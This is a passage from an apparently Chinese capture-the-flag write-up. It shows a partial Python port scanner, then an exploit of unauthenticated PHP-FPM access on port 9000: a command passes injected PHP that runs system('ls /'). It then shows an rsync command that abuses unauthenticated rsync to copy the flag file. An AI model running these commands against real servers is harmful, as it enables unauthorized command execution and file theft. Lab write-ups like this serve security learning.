s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,i))
s.close()
f.writelines(str(i)+'\n')
except socket.error:
pass
f.close()
pass

if __name__ == '__main__':
foo()
print('ok')

存在9000873端口

9000端口存在PHP-FPM未授权访问漏洞,参考如下文章

https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

脚本如下

https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

1
python3 fpm.py 10.21.125.10 /www/redirect.php -c "<?php system(\'ls /\');?>

可以拿到flag文件名但是无权限读取,在这里可利用rsync未授权访问漏洞将flag拷贝到/tmp/目录下

1
rsync 127.0.0.1::src/7h1s_i5_f14g /tmp/

读取flag